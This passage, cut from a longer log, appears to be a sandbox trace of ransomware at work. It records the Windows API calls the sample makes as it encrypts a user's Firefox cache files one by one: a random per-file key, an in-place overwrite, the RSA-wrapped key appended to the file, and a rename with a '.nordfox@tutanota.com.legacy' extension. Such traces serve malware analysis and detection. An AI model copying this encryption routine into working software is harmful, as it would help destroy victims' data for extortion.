pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.161] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e17b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e17b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.161] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e17b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e17b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.161] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.161] CloseHandle (hObject=0x1b80) returned 1 [0188.161] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5994EFBA690009A711CB274682E4797710EC767B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5994efba690009a711cb274682e4797710ec767b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5994EFBA690009A711CB274682E4797710EC767B.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5994efba690009a711cb274682e4797710ec767b.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f3270 | out: pbBuffer=0x30f3270) returned 1 [0188.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.165] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\57E662573FD9E42D3972BE92D3DF0557C7B2E836", dwFileAttributes=0x80) returned 1 [0188.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f3480 [0188.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.165] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\57E662573FD9E42D3972BE92D3DF0557C7B2E836" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\57e662573fd9e42d3972be92d3df0557c7b2e836"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.166] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8668) returned 1 [0188.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x21dc) returned 0x30f3888 [0188.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x21dc) returned 0x30df058 [0188.166] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x21dc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x21dc, lpOverlapped=0x0) returned 1 [0188.173] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.173] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df058*, nNumberOfBytesToWrite=0x21dc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x21dc, lpOverlapped=0x0) returned 1 [0188.174] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x21dc [0188.174] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.174] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f3270*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f3270*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.174] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3270*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3270*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.174] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.174] CloseHandle (hObject=0x1b80) returned 1 [0188.174] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\57E662573FD9E42D3972BE92D3DF0557C7B2E836" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\57e662573fd9e42d3972be92d3df0557c7b2e836"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\57E662573FD9E42D3972BE92D3DF0557C7B2E836.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\57e662573fd9e42d3972be92d3df0557c7b2e836.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.176] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f3690 | out: pbBuffer=0x30f3690) returned 1 [0188.176] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.176] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\579EC9227C4A988DCC4894D82AA161957107515D", dwFileAttributes=0x80) returned 1 [0188.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f2610 [0188.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.177] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\579EC9227C4A988DCC4894D82AA161957107515D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\579ec9227c4a988dcc4894d82aa161957107515d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.177] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1593) returned 1 [0188.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x639) returned 0x619c48 [0188.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x639) returned 0x30f3888 [0188.177] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x639, lpOverlapped=0x0) returned 1 [0188.178] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1593, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.178] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x639, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x639, lpOverlapped=0x0) returned 1 [0188.178] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x639 [0188.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f3690*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f3690*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.179] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3690*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3690*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.179] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.179] CloseHandle (hObject=0x1b80) returned 1 [0188.179] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\579EC9227C4A988DCC4894D82AA161957107515D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\579ec9227c4a988dcc4894d82aa161957107515d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\579EC9227C4A988DCC4894D82AA161957107515D.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\579ec9227c4a988dcc4894d82aa161957107515d.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.181] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddee8 | out: pbBuffer=0x30ddee8) returned 1 [0188.181] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.181] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5754A981D1B97D4C45C91BFDCC6C62D72CF625EF", dwFileAttributes=0x80) returned 1 [0188.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ef8b0 [0188.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.181] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5754A981D1B97D4C45C91BFDCC6C62D72CF625EF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5754a981d1b97d4c45c91bfdcc6c62d72cf625ef"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.182] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21836) returned 1 [0188.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x554c) returned 0x30df058 [0188.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x554c) returned 0x30e45b0 [0188.182] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0x554c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0x554c, lpOverlapped=0x0) returned 1 [0188.183] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-21836, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.183] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e45b0*, nNumberOfBytesToWrite=0x554c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e45b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x554c, lpOverlapped=0x0) returned 1 [0188.183] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x554c [0188.183] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.183] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddee8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddee8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.183] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddee8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddee8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.184] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.184] CloseHandle (hObject=0x1b80) returned 1 [0188.184] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5754A981D1B97D4C45C91BFDCC6C62D72CF625EF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5754a981d1b97d4c45c91bfdcc6c62d72cf625ef"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5754A981D1B97D4C45C91BFDCC6C62D72CF625EF.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5754a981d1b97d4c45c91bfdcc6c62d72cf625ef.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddac8 | out: pbBuffer=0x30ddac8) returned 1 [0188.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\56C1D667A6AFD5406F830882D54923461E079C1B", dwFileAttributes=0x80) returned 1 [0188.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ddee8 [0188.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.186] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\56C1D667A6AFD5406F830882D54923461E079C1B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\56c1d667a6afd5406f830882d54923461e079c1b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.186] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3621) returned 1 [0188.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe25) returned 0x30f3888 [0188.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe25) returned 0x30f46b8 [0188.186] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe25, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe25, lpOverlapped=0x0) returned 1 [0188.196] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3621, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.196] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46b8*, nNumberOfBytesToWrite=0xe25, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe25, lpOverlapped=0x0) returned 1 [0188.196] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe25 [0188.197] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.197] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddac8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddac8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.197] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddac8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddac8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.197] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.197] CloseHandle (hObject=0x1b80) returned 1 [0188.197] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\56C1D667A6AFD5406F830882D54923461E079C1B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\56c1d667a6afd5406f830882d54923461e079c1b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\56C1D667A6AFD5406F830882D54923461E079C1B.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\56c1d667a6afd5406f830882d54923461e079c1b.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.199] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddac8 | out: pbBuffer=0x30ddac8) returned 1 [0188.199] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0188.199] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53FE39FDB590D11DCF5D36416A9314CCABB2C284", dwFileAttributes=0x80) returned 1 [0188.199] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ddde0 [0188.199] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.199] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53FE39FDB590D11DCF5D36416A9314CCABB2C284" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53fe39fdb590d11dcf5d36416a9314ccabb2c284"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.200] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4350) returned 1 [0188.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fe) returned 0x30f3888 [0188.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fe) returned 0x30f4990 [0188.200] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x10fe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x10fe, lpOverlapped=0x0) returned 1 [0188.206] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.206] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4990*, nNumberOfBytesToWrite=0x10fe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10fe, lpOverlapped=0x0) returned 1 [0188.206] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10fe [0188.206] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.206] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddac8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddac8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.206] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddac8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddac8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.207] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.207] CloseHandle (hObject=0x1b80) returned 1 [0188.207] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53FE39FDB590D11DCF5D36416A9314CCABB2C284" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53fe39fdb590d11dcf5d36416a9314ccabb2c284"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53FE39FDB590D11DCF5D36416A9314CCABB2C284.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53fe39fdb590d11dcf5d36416a9314ccabb2c284.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd9c0 | out: pbBuffer=0x30dd9c0) returned 1 [0188.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.209] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53DAE4B1D7BFF6744CCAF7207DE631267F9883DC", dwFileAttributes=0x80) returned 1 [0188.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ddac8 [0188.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.219] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53DAE4B1D7BFF6744CCAF7207DE631267F9883DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53dae4b1d7bff6744ccaf7207de631267f9883dc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.219] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=11217) returned 1 [0188.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2bd1) returned 0x30f3888 [0188.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2bd1) returned 0x30df058 [0188.219] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x2bd1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x2bd1, lpOverlapped=0x0) returned 1 [0188.232] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-11217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.232] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df058*, nNumberOfBytesToWrite=0x2bd1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2bd1, lpOverlapped=0x0) returned 1 [0188.232] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2bd1 [0188.232] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.232] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd9c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd9c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.232] WriteFile (in: hFile=0x1b80, 